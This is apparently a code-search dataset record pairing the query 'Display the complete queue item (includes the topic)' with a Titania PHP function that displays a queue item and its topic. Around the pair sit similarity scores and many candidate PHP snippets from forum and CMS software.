$this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}", "function show_post_and_context($post, $thread, $forum, $options, $n) {\n $thread = BoincThread::lookup_id($post->thread);\n $forum = BoincForum::lookup_id($thread->forum);\n\n $content = output_transform($post->content, $options);\n $when = time_diff_str($post->timestamp, time());\n $user = lookup_user_id($post->user);\n $title = cleanup_title($thread->title);\n $m = $n%2;\n if ($post->hidden) {\n $deleted = \"<br><font color=red>[\".tra(\"Hidden by a moderator\").\"]</font>\";\n } else {\n $deleted = \"\";\n }\n echo \"\n <tr class=row$m>\n <td>\n $n)\n \";\n switch ($forum->parent_type) {\n case 0:\n $category = BoincCategory::lookup_id($forum->category);\n show_forum_title($category, $forum, $thread, true);\n break;\n case 1:\n show_team_forum_title($forum);\n break;\n }\n echo \"\n (<a href=\\\"forum_thread.php?id=\".$thread->id.\"&amp;postid=\".$post->id.\"\\\">\".tra(\"Message %1\", $post->id).\"</a>)\n <br>\n \".tra(\"Posted %1 by %2\", $when, user_links($user)).\" $deleted\n <hr>\n $content\n </td></tr>\n \";\n}", "function show_thread_and_context($thread, $user, $i) {\n $thread_forum = BoincForum::lookup_id($thread->forum);\n if (!$thread_forum) return;\n if (!is_forum_visible_to_user($thread_forum, $user)) return;\n $owner = BoincUser::lookup_id($thread->owner);\n $j = $i % 2;\n echo \"<tr class=row$j><td>\\n\";\n switch($thread_forum->parent_type) {\n case 0:\n $category = BoincCategory::lookup_id($thread_forum->category);\n show_forum_title($category, $thread_forum, $thread, true);\n break;\n case 1:\n show_team_forum_title($thread_forum, $thread);\n break;\n }\n echo '\n </td><td class=\"numbers\">'.($thread->replies+1).'</td>\n <td>'.user_links($owner).'</td>\n <td class=\"numbers\">'.$thread->views.'</td>\n <td class=\"lastpost\">'.time_diff_str($thread->timestamp, time()).'</td>\n </tr>\n ';\n}", "function messageThreadTree( $threadID, $showUnApprived = false, $offset = 0, $limit = 100 )\r\n {\r\n $db =& eZDB::globalDatabase();\r\n\r\n if ( !isSet( $showUnApproved ) || !$showUnApproved )\r\n $showUnApproved = \" AND IsApproved='1' \";\r\n else\r\n $showUnApproved = \" AND IsApproved='0' \";\r\n\r\n $db->array_query( $message_array, \"SELECT ID, TreeID FROM eZForum_Message\r\n WHERE ForumID='$this->ID'\r\n AND ThreadID='$threadID'\r\n AND IsTemporary='0'\r\n $showUnApproved\r\n ORDER BY TreeID DESC\",\r\n array( \"Limit\" => $limit, \"Offset\" => $offset ) );\r\n\r\n $ret = array();\r\n\r\n foreach ( $message_array as $message )\r\n {\r\n $ret[] = new eZForumMessage( $message[$db->fieldName(\"ID\")] );\r\n }\r\n\r\n return $ret;\r\n }", "public function displayPostList()\n\t\t\t{\n\t\t\t\tglobal $smartyObj;\n\t\t\t\t$displaypostList_arr = array();\n\n\t\t\t\t$fields_list = array('user_name', 'first_name', 'last_name');\n\t\t\t\t$displaypostList_arr['row'] = array();\n\t\t\t\t$inc = 1;\n\t\t\t\twhile($row = $this->fetchResultRecord())\n\t\t\t\t\t{\n\t\t\t\t\t\tif(!isset($row['user_name']))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(!isset($this->UserDetails[$row['user_id']]))\n\t\t\t\t\t\t\t\t\t$this->getUserDetail('user_id',$row['user_id'], 'user_name');\n\n\t\t\t\t\t\t\t\t$displaypostList_arr['row'][$inc]['name'] = $this->getUserName($row['user_id']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$name = $this->CFG['format']['name'];\n\t\t\t\t\t\t\t\t$name = str_replace('$first_name', $row['first_name'],$name);\n\t\t\t\t\t\t\t\t$name = str_replace('$last_name', $row['last_name'],$name);\n\t\t\t\t\t\t\t\t$name = str_replace('$user_name', $row['user_name'],$name);\n\t\t\t\t\t\t\t\t$displaypostList_arr['row'][$inc]['name'] = $name;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$row['flagged_status'] = $row['flagged_status']?$row['flagged_status']:'No';\n\t\t\t\t\t\t$row['featured'] = $row['featured']?$row['featured']:'No';\n\t\t\t\t\t\t$displaypostList_arr['row'][$inc]['comments_text'] = str_replace('{total_comments}', $this->getTotalComments($row['blog_post_id']), $this->LANG['postmanage_post_comments']);\n\n\t\t\t\t\t\t$displaypostList_arr['row'][$inc]['record'] = $row;\n\t\t\t\t\t\t$inc++;\n\t\t\t\t\t}\n\n\t\t\t\t$smartyObj->assign('displaypostList_arr', $displaypostList_arr);\n\t\t\t}", "public function actionSocialForums()\r\n {\r\n /* @var $socialForumModel ThemeHouse_SocialGroups_Model_SocialForum */\r\n $socialForumModel = ThemeHouse_SocialGroups_SocialForum::getSocialForumModel();\r\n $forumWatchModel = $this->_getForumWatchModel();\r\n $visitor = XenForo_Visitor::getInstance();\r\n\r\n $socialForumsWatched = $forumWatchModel->getUserSocialForumWatchByUser($visitor['user_id']);\r\n\r\n $socialForumIds = array_keys($socialForumsWatched);\r\n\r\n $fetchOptions = array(\r\n 'join' => ThemeHouse_SocialGroups_Model_SocialForum::FETCH_SOCIAL_MEMBER |\r\n ThemeHouse_SocialGroups_Model_SocialForum::FETCH_AVATAR,\r\n 'readUserId' => $visitor['user_id']\r\n );\r\n\r\n $socialForums = $socialForumModel->getSocialForumsByIds($socialForumIds, $fetchOptions);\r\n\r\n foreach ($socialForums as &$socialForum) {\r\n $socialForum = $socialForumModel->prepareSocialForum($socialForum);\r\n }\r\n\r\n $viewParams = array(\r\n 'socialForums' => $socialForums,\r\n 'socialForumsWatched' => $socialForumsWatched\r\n );\r\n\r\n return $this->responseView('ThemeHouse_SocialGroups_ViewPublic_Watched_SocialForums', 'th_watch_social_forums_socialgroups', $viewParams);\r\n }", "protected function openForum(){\n \t\t$dbug = $this->isDebug();\n \t\t\n \t\tif ($dbug) fb('Opening Forum','line '.__LINE__);\n \t\t\n \t\tif ($dbug) fb('Validating Id','line '.__LINE__);\n \t\t$this->validateForumId();\n \t\t\n \t\tif ($this->isError()) return;\n \t\t\n \t\t$id = $this->getId();\n\t\t$start = $this->getOption('start');\n\t\t\tif (!$start || !is_numeric($start)) $start = 0;\n\t\t\n\t\tif ($dbug) fb('Fetching Forum Info','line '.__LINE__);\n\t\t$this->retrieveForumInfo($id,$this->isDebug());\n\n\t\t$limit = $this->getOption('limit');\n\t\t\tif (!$limit || !is_numeric($limit)) $limit = $this->_default_limit;\n\t\t \t\n\t\tif ($dbug) fb('Fetching Forum Messages','line '.__LINE__);\n\t\t$this->retrieveMessages($id,$start,$limit,$this->isDebug());\n \t}", "function Forum_show(&$PAGEDATA) {\n\t$view=0;\n\tif (isset($_REQUEST['forum-t'])) {\n\t\t$view=2;\n\t\t$thread_id=(int)$_REQUEST['forum-t'];\n\t}\n\telse if (isset($_REQUEST['forum-f'])) {\n\t\t$view=1;\n\t\t$forum_id=(int)$_REQUEST['forum-f'];\n\t}\n\tif ($view==0) {\n\t\t$forums=dbAll(\n\t\t\t'select * from forums where parent_id=0 and page_id='.$PAGEDATA->id\n\t\t);\n\t\tif (!$forums) {\n\t\t\tdbQuery(\n\t\t\t\t'insert into forums '.\n\t\t\t\t'values(0,'.$PAGEDATA->id.',0,\"default\", \"1\")'\n\t\t\t);\n\t\t\t$view=1;\n\t\t\t$forum_id=dbLastInsertId();\n\t\t}\n\t\telse {\n\t\t\tif (count($forums)==1) {\n\t\t\t\t$view=1;\n\t\t\t\t$forum_id=$forums[0]['id'];\n\t\t\t}\n\t\t}\n\t}\n\tswitch($view){\n\t\tcase 1: // { specific forum\n\t\t\t$c=Forum_showForum($PAGEDATA, $forum_id);\n\t\tbreak;\n\t\t// }\n\t\tcase 2: // { specific thread\n\t\t\t$c=Forum_showThread($PAGEDATA, $thread_id);\n\t\tbreak;\n\t\t// }\n\t\tdefault: // { show all forums\n\t\t\t$c=Forum_showForums($PAGEDATA, $forums);\n\t\t\t// }\n\t}\n\tif (!isset($PAGEDATA->vars['footer'])) {\n\t\t$PAGEDATA->vars['footer']='';\n\t}\n\treturn $PAGEDATA->render()\n\t\t.$c\n\t\t.$PAGEDATA->vars['footer'];\n}", "function mk_btns4posts($priv='', $hID='', $uID='', $pQueryAdd='', $pQueryEdit='', $pQueryRemove='', $pQueryLock='', $tURL ='', $tOrder='', $str=''){\n\tif($priv !=''){\n\n\t#for buttons\n\t#$pQueryAdd=$pQueryEdit=$pQueryRemove=$pQueryLock=$str='';\n\t$str = '<!-- START buttons -->\n\n\n\t\t<div class=\"btn-group btn-group-sm\" role=\"group\" aria-label=\"...\"><small>';\n\n\n\t\tif($priv > 0){\n\t\t\t# disable class btn?\n\t\t\t$str .= '<a class=\"\" href=\"' . THIS_PAGE . $pQueryAdd . '\"> Add Reply</a>';\n\t\t}\n\n\t\t#if user is a mod/creator of thread, let them edit it.\n\t\tif(($priv > 3) || ($hID === $uID)){\n\t\t\t#set to invisible actually\n\t\t\t$str .= ' &nbsp; &nbsp; | &nbsp; &nbsp; <a class=\"\" href=\"' . THIS_PAGE . $pQueryEdit . '\">Edit Thread</a>';\n\t\t}\n\n\t\tif($priv > 4){\n\t\t\t#set to invisible actually\n\t\t\t$str .= ' &nbsp; &nbsp; | &nbsp; &nbsp; <a class=\"\" href=\"' . THIS_PAGE . $pQueryRemove . '\">Remove Thread</a>';\n\t\t\t#set to invisible actually\n\t\t\t$str .= ' &nbsp; &nbsp; | &nbsp; &nbsp; <a class=\"\" href=\"' . THIS_PAGE . $pQueryLock . '\">Lock Thread</a>';\n\t\t}\n\n\n\t\t$str .='</small>';\n\n\t\t#glyphicon glyphicon-sort-by-attributes-\n\t\t$str .= '&nbsp; &nbsp; ';\n\n\n\t\t$str .= '</div><!-- END buttons -->\n\t\t<div class=\"pull-right\">';\n\n\n#ASC = crhonolgical;\n#DESC = most recent\n\n\n\n\n\t\t#get full query string - then revise it to revise thread posting order\n\t\t$tUrl = $_SERVER[\"QUERY_STRING\"];\n\n\t\t#http://localhost/WrDKv4/act=threadShow&tID=20&ttl=IC%20TTa%20-%20Mall%20of%20Champions&tOrder=ASC\n\n\t\t#if tOrder exists/isset...\n\t\tif(isset($_GET['tOrder']) && !empty($_GET['tOrder'])){$tOrder = ($_GET['tOrder']);} else {$tOrder ='';}\n\n\t\t#default - if tOrder = '' or doesn't exist, show most recent post first\n\t\tif(empty($tOrder)){\n\t\t\t#http://localhost/WrDKv4/threads/index.php?act=threadShow&tID=20&ttl=IC%20TTa%20-%20Mall%20of%20Champions&tOrder=ASC&tOrder=ASC\n\t\t\t$str .= '<a href=\"' . VIRTUAL_PATH . 'threads/index.php?' . $tUrl . '&tOrder=DESC\"><span class=\"glyphicon glyphicon glyphicon glyphicon-sort-by-attributes-alt pull-right\" aria-hidden=\"true\" data-toggle=\"tooltip\" title=\"Read Thread By Chronological Order\"></span>\n\t\t\t</div></a>';\n\n\t\t#change to chronological...\n\t\t}else{\n\t\t\t#http://localhost/WrDKv4/threads/index.php?act=threadShow&tID=20&ttl=IC%20TTa%20-%20Mall%20of%20Champions&tOrder=ASC&tOrder=DESC\n\n\t\t\t$str .= '<a href=\"' . VIRTUAL_PATH . 'threads/index.php?' . $tUrl . '&tOrder=ASC\"><span class=\"glyphicon glyphicon glyphicon-sort-by-attributes pull-right\" aria-hidden=\"true\" data-toggle=\"tooltip\" title=\"Read Thread By Most Recent Post First\"></span>\n\t\t\t</div></a>';\n\t\t}\n\n\n\t}\n\treturn $str;\n}", "function atu_showthread()\n{\n\tglobal $mybb, $atujq, $atujs, $atu_link, $tid, $fid;\n\n\tif(can_auto_update())\n\t{\n\t\n\t\t$atujq = '<script src=\"http://code.jquery.com/jquery-latest.js\"></script>\n\t<script>\n\tjQuery.noConflict();\n\t</script>';\n\t\t\n\t\t$atujs = '<script type=\"text/javascript\">\n\tvar time = '.TIME_NOW.';\n\tvar refreshId = setInterval(function()\n\t{\n\t\tjQuery.get(\\'getnewposts.php?tid='.$tid.'}&timestamp=\\'+time,\n\t\tfunction(result) {\n\t\t\tjQuery(\\'#autorefresh\\').append(\\'<span style=\"display: none;\" class=\"new-post\" name=\"post[]\">\\'+result+\\'</span>\\');\n\t\t\tjQuery(\\'#autorefresh\\').find(\".new-post:last\").fadeIn(\\'slow\\');\n\t\t});\n\n\t\ttime = Math.round((new Date()).getTime() / 1000);\n\n\t}, '.intval($mybb->settings['atu_refreshrate']).');\n\t</script>';\n\t} else {\n\t\t$atujq = '';\n\t\t$atujs = '';\n\t}\n\n\tif($mybb->usergroup['cancp'])\n\t{\n\t\t$on = true;\n\t\t$display = true;\n\t\t\n\t\tif($mybb->settings['atu_tf_wlbl'] != 'all')\n\t\t{\n\t\t\t$perms = explode(\"|\",$mybb->settings['atu_tf_wlbl']);\n\t\t\t$ids = explode(\",\",$perms[2]);\n\t\t\t\n\t\t\tif($perms[0] == 'threads')\n\t\t\t{\n\t\t\t\t$thread_in_list = in_array($tid,$ids);\n\t\t\t\t\n\t\t\t\tif($thread_in_list && $perms[1] == 'blacklist')\n\t\t\t\t{\n\t\t\t\t\t$on = false;\n\t\t\t\t} elseif(!$thread_in_list && $perms[1] == 'whitelist') {\n\t\t\t\t\t$on = false;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$display = false;\n\t\t\t}\n\t\t}\n\t\tif($display)\n\t\t{\n\t\t\tif($on)\n\t\t\t{\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&amp;toggle_atu=true&amp;my_post_key='.$mybb->post_code.'\">Turn off auto thread updating in this thread</a><br />';\n\t\t\t} else {\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&amp;toggle_atu=true&amp;my_post_key='.$mybb->post_code.'\">Turn on auto thread updating in this thread</a><br />';\n\t\t\t}\n\t\t}\n\t}\n}", "public function display_type($queue_type)\n\t{\n\t\t$type = $this->load_type($queue_type);\n\n\t\tif (!$type->acl_get('queue_discussion'))\n\t\t{\n\t\t\treturn $this->helper->needs_auth();\n\t\t}\n\n\t\t// Mark all topics read\n\t\tif ($this->request->variable('mark', '') == 'topics')\n\t\t{\n\t\t\t$this->tracking->track(ext::TITANIA_QUEUE_DISCUSSION, self::ALL_TYPES);\n\t\t}\n\n\t\t$this->display->assign_global_vars();\n\t\t$this->generate_navigation('queue_discussion');\n\n\t\t// Add to Breadcrumbs\n\t\t$this->display->generate_breadcrumbs(array(\n\t\t\t$type->lang['lang']\t=> $this->get_type_url($type),\n\t\t));\n\n\t\t\\topics_overlord::display_forums_complete('queue_discussion', false, array('topic_category' => $type->id));\n\n\t\t// Mark all topics read\n\t\t$this->template->assign_var('U_MARK_TOPICS', $this->get_type_url($type, array('mark' => 'topics')));\n\n\t\treturn $this->helper->render('manage/queue_discussion.html', 'QUEUE_DISCUSSION');\n\t}", "public function index()\n { \n return view('admin.faqs.list', [\n 'title' => 'Admin | FAQs Management', \n 'page' => 'faqs-list', \n 'child' => '', \n 'faqs' => Faq::all(), \n 'bodyClass' => $this->bodyClass\n ]);\n }", "public function printlist(){\r\n\t\t$parishID = Convert::raw2sql($this->request->getVar('ParishID'));\t\t\r\n\t\tif(!$this->canAccess($parishID)){\r\n\t\t\treturn $this->renderWith(array('Unathorised_access', 'App'));\r\n\t\t}\r\n\t\t\r\n\t\t$this->title = 'Media list';\t\t\r\n\t\treturn $this->renderWith(array('Media_printresults','Print'));\r\n\t}", "public function index()\n {\n $posts = DB::select('select Forum.id, Title, forum.created_at, HasAttachments, Username from forum\n join Users on author = Users.id\n order by forum.created_at');//TODO:Possibly a different method?\n //TODO:Fix ordering\n return view('Forum', compact('posts'));\n }", "public function index()\n {\n $threads = Thread::with('user')->paginate(5);\n return view(\"threads.index\",compact('threads'));\n }", "public function getQueue();", "public function getQueue();", "function renderShowForum( $input ) {\n $forum=new ForumClass();\n return $forum->showForum(10);\n}" ]
[ "0.690279", "0.68208736", "0.6669512", "0.6634354", "0.6607362", "0.6536386", "0.64950866", "0.6490574", "0.64596057", "0.64592874", "0.6419311", "0.64091593", "0.6358232", "0.6343459", "0.62800604", "0.6270044", "0.6269122", "0.62366325", "0.6194341", "0.61926275", "0.6185072", "0.61734647", "0.6157895", "0.614324", "0.61426866", "0.6119123", "0.61110246", "0.6107939", "0.61072016", "0.6102925", "0.61021", "0.6086945", "0.60866654", "0.60817665", "0.60811776", "0.60690016", "0.60683835", "0.6059248", "0.60530597", "0.60474885", "0.60377085", "0.60189795", "0.60118604", "0.60044736", "0.6003102", "0.5972579", "0.59631366", "0.59553456", "0.59509116", "0.594096", "0.59343493", "0.592348", "0.5911498", "0.59011304", "0.5892758", "0.5880795", "0.58745766", "0.5868398", "0.5859193", "0.58561856", "0.5847764", "0.5845591", "0.5839566", "0.5825155", "0.58246946", "0.58234465", "0.5820003", "0.5810956", "0.5805752", "0.58051246", "0.5802535", "0.5795272", "0.57945424", "0.5785323", "0.5783686", "0.5775224", "0.57738966", "0.57666993", "0.57660085", "0.5765704", "0.5764419", "0.5762884", "0.5753614", "0.57484937", "0.5739596", "0.57362336", "0.57361495", "0.57318723", "0.57230824", "0.5721265", "0.57091343", "0.570386", "0.5698398", "0.5697387", "0.5694523", "0.5689566", "0.5688757", "0.56873465", "0.56873465", "0.5684995" ]
0.5804634
70
Display the complete queue item (includes the topic)
public static function display_queue_item_complete($queue_id) { $data = self::display_queue_item($queue_id); // Display the posts posts_overlord::display_topic_complete($data['topic']); return $data; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function display() {\n if (!$this->isEmpty()) {\n for ($i = 0; $i < $this->getLength(); $i++) {\n echo $this->queue[$i];\n echo \"<br>\";\n }\n } \n else {\n return \"The Queue is empty\";\n }\n }", "public static function display_queue_item($queue_id)\n\t{\n\t\tphpbb::$user->add_lang_ext('phpbb/titania', 'contributions');\n\t\t$controller_helper = phpbb::$container->get('phpbb.titania.controller.helper');\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\n\t\t$sql_ary = array(\n\t\t\t'SELECT' => '*',\n\n\t\t\t'FROM'\t\t=> array(\n\t\t\t\tTITANIA_QUEUE_TABLE\t\t=> 'q',\n\t\t\t\tTITANIA_REVISIONS_TABLE\t=> 'r',\n\t\t\t\tTITANIA_TOPICS_TABLE\t=> 't',\n\t\t\t),\n\n\t\t\t'WHERE' => 'q.queue_id = ' . (int) $queue_id . '\n\t\t\t\tAND r.revision_id = q.revision_id\n\t\t\t\tAND t.topic_id = q.queue_topic_id',\n\t\t);\n\n\t\t// Main SQL Query\n\t\t$sql = phpbb::$db->sql_build_query('SELECT', $sql_ary);\n\t\t$result = phpbb::$db->sql_query($sql);\n\t\t$row = phpbb::$db->sql_fetchrow($result);\n\t\tphpbb::$db->sql_freeresult($result);\n\n\t\tif (!$row)\n\t\t{\n\t\t\ttrigger_error('NO_QUEUE_ITEM');\n\t\t}\n\n\t\tself::$queue[$queue_id] = $row;\n\t\t$queue = self::get_queue_object($queue_id);\n\n\t\t// Load the contribution\n\t\t$contrib = new titania_contribution();\n\t\t$contrib->load((int) $row['contrib_id']);\n\t\t$contrib->get_download($row['revision_id']);\n\t\t$contrib->get_revisions();\n\t\t$contrib->get_screenshots();\n\t\t$contrib->assign_details();\n\n\t\t// Load the topic (with the already selected data)\n\t\t$topic = new titania_topic;\n\t\t$topic->__set_array($row);\n\n\t\t// Bit of a hack for the posting\n\t\tphpbb::$request->overwrite('t', $topic->topic_id);\n\n\t\t$is_moderator = $contrib->type->acl_get('moderate');\n\t\t$is_validator = $contrib->type->acl_get('validate');\n\t\t$hash = array(\n\t\t\t'hash' => generate_link_hash('queue_tool'),\n\t\t);\n\n\t\t// Misc actions\n\t\t$misc_actions = array(\n\t\t\tarray(\n\t\t\t\t'RETEST_PV',\n\t\t\t\t$queue->get_tool_url('mpv', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->mpv_test,\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'RETEST_PV',\n\t\t\t\t$queue->get_tool_url('epv', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->epv_test,\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'RETEST_AUTOMOD',\n\t\t\t\t$queue->get_tool_url('automod', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->automod_test,\n\t\t\t),\n\t\t);\n\n\t\t// Some quick-actions\n\t\t$quick_actions = array();\n\t\t$hash = array(\n\t\t\t'hash' => generate_link_hash('queue_action'),\n\t\t);\n\n\t\tif ($row['queue_status'] > 0)\n\t\t{\n\t\t\t$misc_actions = array_merge($misc_actions, array(\n\t\t\t\tarray(\n\t\t\t\t\t'REBUILD_FIRST_POST',\n\t\t\t\t\t$queue->get_url('rebuild', $hash),\n\t\t\t\t\ttrue,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'ALLOW_AUTHOR_REPACK',\n\t\t\t\t\t$queue->get_url('allow_author_repack'),\n\t\t\t\t\t$is_moderator && !$row['allow_author_repack'],\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_TESTED',\n\t\t\t\t\t$queue->get_url('tested', $hash),\n\t\t\t\t\t!$row['queue_tested'],\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_UNTESTED',\n\t\t\t\t\t$queue->get_url('not_tested', $hash),\n\t\t\t\t\t$row['queue_tested'],\n\t\t\t\t),\n\t\t\t));\n\n\t\t\t$tags = titania::$cache->get_tags(ext::TITANIA_QUEUE);\n\t\t\tunset($tags[$row['queue_status']]);\n\n\t\t\t$quick_actions = array(\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_NO_PROGRESS',\n\t\t\t\t\t$queue->get_url('no_progress', $hash),\n\t\t\t\t\t$row['queue_progress'] == phpbb::$user->data['user_id'],\n\t\t\t\t\t'queue_progress',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_IN_PROGRESS',\n\t\t\t\t\t$queue->get_url('in_progress', $hash),\n\t\t\t\t\t!$row['queue_progress'],\n\t\t\t\t\t'queue_progress',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'CHANGE_STATUS',\n\t\t\t\t\t$queue->get_url('move'),\n\t\t\t\t\ttrue,\n\t\t\t\t\t'change_status',\n\t\t\t\t\t$tags,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'REPACK',\n\t\t\t\t\t$contrib->get_url('revision', array('page' => 'repack', 'id' => $row['revision_id'])),\n\t\t\t\t\t$is_moderator,\n\t\t\t\t\t'repack',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'CAT_MISC',\n\t\t\t\t\t'',\n\t\t\t\t\ttrue,\n\t\t\t\t\t'misc',\n\t\t\t\t\t'',\n\t\t\t\t\t$misc_actions,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'APPROVE',\n\t\t\t\t\t$queue->get_url('approve'),\n\t\t\t\t\t$is_validator,\n\t\t\t\t\t'approve',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'DENY',\n\t\t\t\t\t$queue->get_url('deny'),\n\t\t\t\t\t$is_validator,\n\t\t\t\t\t'deny',\n\t\t\t\t),\n\t\t\t);\n\t\t}\n\n\t\tif (empty($quick_actions) && !empty($misc_actions))\n\t\t{\n\t\t\t$quick_actions = array(\n\t\t\t\tarray(\n\t\t\t\t\t'CAT_MISC',\n\t\t\t\t\t'',\n\t\t\t\t\ttrue,\n\t\t\t\t\t'misc',\n\t\t\t\t\t'',\n\t\t\t\t\t$misc_actions\n\t\t\t\t),\n\t\t\t);\n\t\t}\n\n\t\tforeach ($quick_actions as $data)\n\t\t{\n\t\t\t$properties = array('name', 'url', 'auth', 'class', 'tags', 'subactions');\n\t\t\t$data = array_pad($data, sizeof($properties), '');\n\t\t\t$data = array_combine($properties, $data);\n\n\t\t\tif (!$data['auth'])\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tphpbb::$template->assign_block_vars('queue_actions', array(\n\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($data['name']),\n\t\t\t\t'CLASS'\t\t=> $data['class'],\n\t\t\t\t'U_VIEW'\t=> $data['url'],\n\t\t\t));\n\n\t\t\tif ($data['tags'])\n\t\t\t{\n\t\t\t\tforeach ($data['tags'] as $tag_id => $tag_row)\n\t\t\t\t{\n\t\t\t\t\tphpbb::$template->assign_block_vars('queue_actions.subactions', array(\n\t\t\t\t\t\t'ID'\t\t=> $tag_id,\n\t\t\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($tag_row['tag_field_name']),\n\n\t\t\t\t\t\t'U_ACTION'\t=> $path_helper->append_url_params($data['url'], array(\n\t\t\t\t\t\t\t'id'\t=> $tag_id,\n\t\t\t\t\t\t\t'hash'\t=> generate_link_hash('quick_actions'),\n\t\t\t\t\t\t)),\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($data['subactions'])\n\t\t\t{\n\t\t\t\tforeach ($data['subactions'] as $subdata)\n\t\t\t\t{\n\t\t\t\t\t$subdata = array_pad($subdata, sizeof($properties), '');\n\t\t\t\t\t$subdata = array_combine($properties, $subdata);\n\n\t\t\t\t\tif (!$subdata['auth'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tphpbb::$template->assign_block_vars('queue_actions.subactions', array(\n\t\t\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($subdata['name']),\n\t\t\t\t\t\t'U_ACTION'\t=> $subdata['url'],\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($row['queue_status'] == -3)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang('QUEUE_CLOSED');\n\t\t}\n\t\telse if ($row['queue_status'] == -2)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang['REVISION_DENIED'];\n\t\t}\n\t\telse if ($row['queue_status'] == -1)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang['REVISION_APPROVED'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$current_status = phpbb::$container->get('phpbb.titania.tags')->get_tag_name($row['queue_status']);\n\t\t}\n\t\tphpbb::$template->assign_vars(array(\n\t\t\t'CURRENT_STATUS'\t\t\t=> $current_status,\n\n\t\t\t'S_DISPLAY_CONTRIBUTION'\t=> true,\n\t\t\t'S_IN_QUEUE'\t\t\t\t=> true,\n\n\t\t\t'U_POST_REPLY'\t\t\t\t=> $queue->get_url('reply'),\n\t\t\t'U_NEW_REVISION'\t\t\t=> false, // Prevent nubs from trying to submit a new revision when they want to actually repack\n\t\t));\n\n\t\t// Subscriptions\n\t\tphpbb::$container->get('phpbb.titania.subscriptions')->handle_subscriptions(\n\t\t\text::TITANIA_TOPIC,\n\t\t\t$topic->topic_id,\n\t\t\t$controller_helper->get_current_url(),\n\t\t\t'SUBSCRIBE_TOPIC'\n\t\t);\n\n\t\treturn compact('row', 'contrib', 'topic');\n\t}", "public function show()\n {\n global $wpdb;\n print_r($wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}queue\"));\n }", "public function detailsAction($queue)\n {\n return $this->templating->renderResponse('ProcessingBundle:Index:details.html.twig', array(\n 'queue' => $this->processor->getJobs($queue)\n ));\n }", "public function getShowQueueAdd()\n {\n return $this->getChildBlock('grid')->getShowQueueAdd();\n }", 